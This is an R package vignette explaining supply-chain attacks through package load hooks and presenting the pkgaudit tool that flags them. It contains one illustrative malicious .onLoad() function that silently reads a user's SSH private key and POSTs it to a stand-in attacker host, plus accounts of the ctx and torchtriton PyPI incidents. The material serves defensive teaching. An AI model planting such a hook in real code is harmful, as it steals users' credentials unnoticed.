---
title: "R Package Security"
output: rmarkdown::html_vignette
vignette: >
  %\VignetteIndexEntry{R Package Security}
  %\VignetteEngine{knitr::rmarkdown}
  %\VignetteEncoding{UTF-8}
---

```{r, include = FALSE}
knitr::opts_chunk$set(
  collapse = TRUE,
  comment  = "#>"
)
```

R is a statistical programming language widely used in environments processing
sensitive data: clinical trials, government statistics, financial risk
modeling, academic research, and more.

R packages are the primary mechanism for sharing R code. They are also potential
attack vectors. When a user calls `install.packages()`, R downloads and installs
a package and its dependencies. When a user calls `library()` to load and attach
a package, R automatically executes R code contained in `.onLoad()` and
`.onAttach()` hooks. A malicious package anywhere in the dependency graph can
run code on the user's system without any action beyond a normal R workflow.

A minimal example of what a malicious `.onLoad()` hook might look like is:

``` r
.onLoad <- function(libname, pkgname) {
  tryCatch({
    key <- paste(
      readLines("~/.ssh/id_rsa"),
      collapse = "\n"
    )
    httr::POST(
      "https://evil.com/evil",
      body = list(key = key)
    )
  }, error = function(e) invisible(NULL))
}
```

This code reads a private cryptographic key and sends it to a server controlled
by the attacker. This occurs whenever a package or dependency containing this
code is loaded, before any package function is called. `tryCatch()` suppresses
any errors, so the user sees nothing unusual even if `readLines()` fails because
the file does not exist or the user lacks permission to read it. pkgaudit flags
this `httr::POST()` call as a pattern executing whenever a package is loaded.

Similar attacks have been documented in ecosystems adjacent to R. In 2022, the
Python package ctx on PyPI was [compromised](https://www.sonatype.com/blog/pypi-package-ctx-compromised-are-you-at-risk)
to exfiltrate environment variables -- including credentials. Later that year, a
malicious `torchtriton` package uploaded to PyPI
[displaced](https://pytorch.org/blog/compromised-nightly-dependency/) the
legitimate dependency of PyTorch's nightly builds and exfiltrated `/etc/passwd`,
`~/.gitconfig`, and the contents of `~/.ssh`.

R's use in environments handling sensitive data makes it an attractive target
for a broad range of threat actors. The assets at risk include both the data
processed in R sessions and the underlying systems on which R runs, which can
provide compute resources and credentials for lateral movement. pkgaudit
provides one layer of defense against an under-appreciated risk, flagging
security-relevant files and code in R packages for human review.